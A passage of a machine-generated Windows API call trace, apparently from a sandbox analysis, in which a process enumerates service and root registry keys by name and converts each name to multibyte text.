lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas", lpUsedDefaultChar=0x0) returned 7 [0177.960] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0177.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas2", lpUsedDefaultChar=0x0) returned 8 [0177.960] RegEnumKeyW (in: hKey=0x140, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0177.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_scsi", lpUsedDefaultChar=0x0) returned 8 [0177.960] RegEnumKeyW (in: hKey=0x140, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0177.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="luafv", lpUsedDefaultChar=0x0) returned 5 [0177.960] RegEnumKeyW (in: hKey=0x140, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0177.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0177.961] RegEnumKeyW (in: hKey=0x140, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0177.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasas", lpUsedDefaultChar=0x0) returned 7 [0177.961] RegEnumKeyW (in: hKey=0x140, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0177.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasr", lpUsedDefaultChar=0x0) returned 6 [0178.009] RegEnumKeyW (in: hKey=0x140, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0178.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0178.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x21f1a00, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0178.009] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0178.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0178.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0178.009] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0178.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0178.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modem", lpUsedDefaultChar=0x0) returned 5 [0178.009] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0178.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0178.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="monitor", lpUsedDefaultChar=0x0) returned 7 [0178.009] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0178.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0178.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouclass", lpUsedDefaultChar=0x0) returned 8 [0178.009] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0178.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0178.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouhid", lpUsedDefaultChar=0x0) returned 6 [0178.010] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0178.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0178.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountmgr", lpUsedDefaultChar=0x0) returned 8 [0178.010] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0178.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0178.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x21f1d18, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0178.010] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0178.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0178.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpio", lpUsedDefaultChar=0x0) returned 4 [0178.010] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0178.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0178.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpsdrv", lpUsedDefaultChar=0x0) returned 6 [0178.010] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0178.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0178.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0178.010] RegEnumKeyW (in: hKey=0x140, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0178.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0178.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxdav", lpUsedDefaultChar=0x0) returned 6 [0178.011] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0178.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0178.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb", lpUsedDefaultChar=0x0) returned 6 [0178.011] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0178.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0178.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb10", lpUsedDefaultChar=0x0) returned 8 [0178.011] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0178.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0178.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb20", lpUsedDefaultChar=0x0) returned 8 [0178.011] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0178.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0178.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msahci", lpUsedDefaultChar=0x0) returned 6 [0178.011] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0178.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0178.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdsm", lpUsedDefaultChar=0x0) returned 5 [0178.011] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0178.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0178.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0178.011] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0178.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0178.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1a00, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 3.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0178.012] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0178.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0178.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1d18, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 4.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0178.012] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0178.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0178.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msfs", lpUsedDefaultChar=0x0) returned 4 [0178.012] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0178.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0178.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x21f1d18, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshidkmdf", lpUsedDefaultChar=0x0) returned 9 [0178.012] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0178.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0178.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msisadrv", lpUsedDefaultChar=0x0) returned 8 [0178.012] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0178.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0178.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0178.012] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0178.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0178.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x21f1a00, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0178.013] RegOpenKeyExW (in: hKey=0x140, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0178.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0178.013] RegCloseKey (hKey=0x140) returned 0x0 [0178.013] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0178.013] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0178.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1d18, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0178.013] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0178.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0178.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0178.013] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0178.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0178.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0178.013] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0178.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0178.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0178.013] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0178.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0178.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0178.014] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0178.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0178.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0178.014] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0178.014] RegCloseKey (hKey=0x80000002) returned 0x0 [0178.014] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0178.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", 